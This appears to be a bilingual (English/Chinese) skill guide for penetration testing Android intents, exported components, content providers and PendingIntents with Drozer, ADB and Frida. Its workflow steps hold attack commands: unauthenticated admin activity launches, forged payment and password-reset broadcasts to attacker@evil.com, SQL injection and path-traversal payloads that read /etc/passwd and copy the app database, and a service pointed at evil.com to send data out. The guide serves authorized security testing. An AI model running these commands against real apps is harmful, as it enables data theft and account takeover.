testing-android-intents-for-vulnerabilities

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Testing Android Intents for Vulnerabilities

测试Android Intent的漏洞

When to Use

使用场景

Use this skill when:
  • Assessing Android app exported activities, services, receivers, and content providers
  • Testing for intent injection and unauthorized component invocation
  • Evaluating broadcast receiver security for sensitive data exposure
  • Performing IPC-focused penetration testing on Android applications
Do not use on production devices without explicit authorization.
在以下场景中使用此技能:
  • 评估Android应用的导出Activity、Service、Receiver和Content Provider
  • 测试Intent注入和未授权组件调用
  • 评估广播接收器的敏感数据暴露安全问题
  • 对Android应用进行聚焦于IPC的渗透测试
未经明确授权,请勿在生产设备上使用

Prerequisites

前置条件

  • Rooted Android device or emulator with ADB
  • Drozer agent installed on target device (
    drozer agent.apk
    )
  • Drozer console on host (
    pip install drozer
    )
  • Target APK decompiled with apktool for AndroidManifest.xml analysis
  • Frida for runtime intent monitoring
  • 已Root的Android设备或带有ADB的模拟器
  • 目标设备上已安装Drozer agent(
    drozer agent.apk
  • 主机上已安装Drozer控制台(
    pip install drozer
  • 已使用apktool反编译目标APK以分析AndroidManifest.xml
  • Frida用于运行时Intent监控

Workflow

工作流程

Step 1: Enumerate Exported Components

步骤1:枚举导出组件

bash
undefined
bash
undefined

Using Drozer

Using Drozer

drozer console connect run app.package.info -a com.target.app run app.package.attacksurface com.target.app
drozer console connect run app.package.info -a com.target.app run app.package.attacksurface com.target.app

Output shows:

Output shows:

X activities exported

X activities exported

X broadcast receivers exported

X broadcast receivers exported

X content providers exported

X content providers exported

X services exported

X services exported

List exported activities

List exported activities

run app.activity.info -a com.target.app
run app.activity.info -a com.target.app

List exported services

List exported services

run app.service.info -a com.target.app
run app.service.info -a com.target.app

List exported receivers

List exported receivers

run app.broadcast.info -a com.target.app
run app.broadcast.info -a com.target.app

List content providers

List content providers

run app.provider.info -a com.target.app
undefined
run app.provider.info -a com.target.app
undefined

Step 2: Test Exported Activities

步骤2:测试导出Activity

bash
undefined
bash
undefined

Launch exported activities directly

Launch exported activities directly

run app.activity.start --component com.target.app com.target.app.AdminActivity
run app.activity.start --component com.target.app com.target.app.AdminActivity

Launch with intent extras

Launch with intent extras

run app.activity.start --component com.target.app com.target.app.ProfileActivity
--extra string user_id 1337
run app.activity.start --component com.target.app com.target.app.ProfileActivity
--extra string user_id 1337

Test intent injection via data URI

Test intent injection via data URI

adb shell am start -a android.intent.action.VIEW
-d "content://com.target.app/users/admin" com.target.app
adb shell am start -a android.intent.action.VIEW
-d "content://com.target.app/users/admin" com.target.app

If admin activity opens without auth, report as authorization bypass

If admin activity opens without auth, report as authorization bypass

undefined
undefined

Step 3: Test Broadcast Receivers

步骤3:测试广播接收器

bash
undefined
bash
undefined

Send broadcast to exported receivers

Send broadcast to exported receivers

run app.broadcast.send --action com.target.app.PROCESS_PAYMENT
--extra string amount "0.01" --extra string recipient "attacker"
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT
--extra string amount "0.01" --extra string recipient "attacker"

Sniff broadcasts for sensitive data

Sniff broadcasts for sensitive data

run app.broadcast.sniff --action com.target.app.USER_LOGIN
run app.broadcast.sniff --action com.target.app.USER_LOGIN

Via ADB

Via ADB

adb shell am broadcast -a com.target.app.RESET_PASSWORD
--es email "attacker@evil.com"
undefined
adb shell am broadcast -a com.target.app.RESET_PASSWORD
--es email "attacker@evil.com"
undefined

Step 4: Test Content Providers

步骤4:测试Content Provider

bash
undefined
bash
undefined

Query content providers for data leakage

Query content providers for data leakage

run app.provider.query content://com.target.app.provider/users run app.provider.query content://com.target.app.provider/users --projection "password"
run app.provider.query content://com.target.app.provider/users run app.provider.query content://com.target.app.provider/users --projection "password"

Test SQL injection in content providers

Test SQL injection in content providers

run app.provider.query content://com.target.app.provider/users
--selection "1=1) UNION SELECT username,password FROM users--"
run app.provider.query content://com.target.app.provider/users
--selection "1=1) UNION SELECT username,password FROM users--"

Test path traversal

Test path traversal

run app.provider.read content://com.target.app.provider/../../etc/passwd run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
run app.provider.read content://com.target.app.provider/../../etc/passwd run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

Find injectable providers

Find injectable providers

run scanner.provider.injection -a com.target.app run scanner.provider.traversal -a com.target.app
undefined
run scanner.provider.injection -a com.target.app run scanner.provider.traversal -a com.target.app
undefined

Step 5: Test Pending Intent Vulnerabilities

步骤5:测试Pending Intent漏洞

javascript
// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});
javascript
// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

Step 6: Test Service Binding

步骤6:测试Service绑定

bash
undefined
bash
undefined

Attempt to bind to exported services

Attempt to bind to exported services

run app.service.start --action com.target.app.SYNC_SERVICE
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService
--msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
undefined
run app.service.start --action com.target.app.SYNC_SERVICE
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService
--msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
undefined

Key Concepts

核心概念

TermDefinition
Exported ComponentAndroid component (activity/service/receiver/provider) accessible to other apps on the device
IntentMessaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based)
Pending IntentToken wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients
Content ProviderComponent for structured data sharing between apps; SQL injection target if query parameters are not sanitized
Broadcast ReceiverComponent receiving system or app broadcasts; exported receivers can be triggered by any app
术语定义
Exported ComponentAndroid组件(Activity/Service/Receiver/Provider),可被设备上的其他应用访问
Intent用于向其他组件请求操作的消息对象;可以是显式(指定目标)或隐式(基于动作)的
Pending Intent封装了Intent的令牌,供其他应用在未来执行;可变的Pending Intent可被接收方修改
Content Provider用于在应用间共享结构化数据的组件;如果查询参数未被清理,会成为SQL注入的目标
Broadcast Receiver接收系统或应用广播的组件;导出的接收器可被任意应用触发

Tools & Systems

工具与系统

  • Drozer: Android security assessment framework for IPC testing with pre-built modules
  • ADB: Command-line tool for invoking intents, starting activities, and sending broadcasts
  • Frida: Runtime monitoring of intent handling and PendingIntent creation
  • apktool: APK decompilation for AndroidManifest.xml analysis of component export status
  • Intent Fuzzer: Automated tool for fuzzing intent parameters across exported components
  • Drozer: 用于IPC测试的Android安全评估框架,带有预构建模块
  • ADB: 用于调用Intent、启动Activity和发送广播的命令行工具
  • Frida: 用于监控Intent处理和Pending Intent创建的运行时工具
  • apktool: 用于反编译APK以分析组件导出状态的AndroidManifest.xml工具
  • Intent Fuzzer: 用于对导出组件的Intent参数进行模糊测试的自动化工具

Common Pitfalls

常见陷阱

  • android:exported default changed in API 31: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
  • Permission-protected components: An exported component may still require a permission. Test with and without the required permission.
  • Implicit intents vs explicit: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
  • Custom permissions: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.
  • android:exported默认值在API 31中更改:在API 31以下版本中,带有Intent过滤器的组件默认exported=true,但在API 31及以上版本中默认exported=false。请检查targetSdkVersion。
  • 受权限保护的组件:导出的组件可能仍需要权限。请在有和无所需权限的情况下分别测试。
  • 隐式Intent vs显式Intent:只有隐式Intent(基于动作)可被其他应用拦截。显式Intent(指定目标)是安全的。
  • 自定义权限:应用可以定义具有不同保护级别(normal、dangerous、signature)的自定义权限。签名级权限仅授予使用相同证书签名的应用。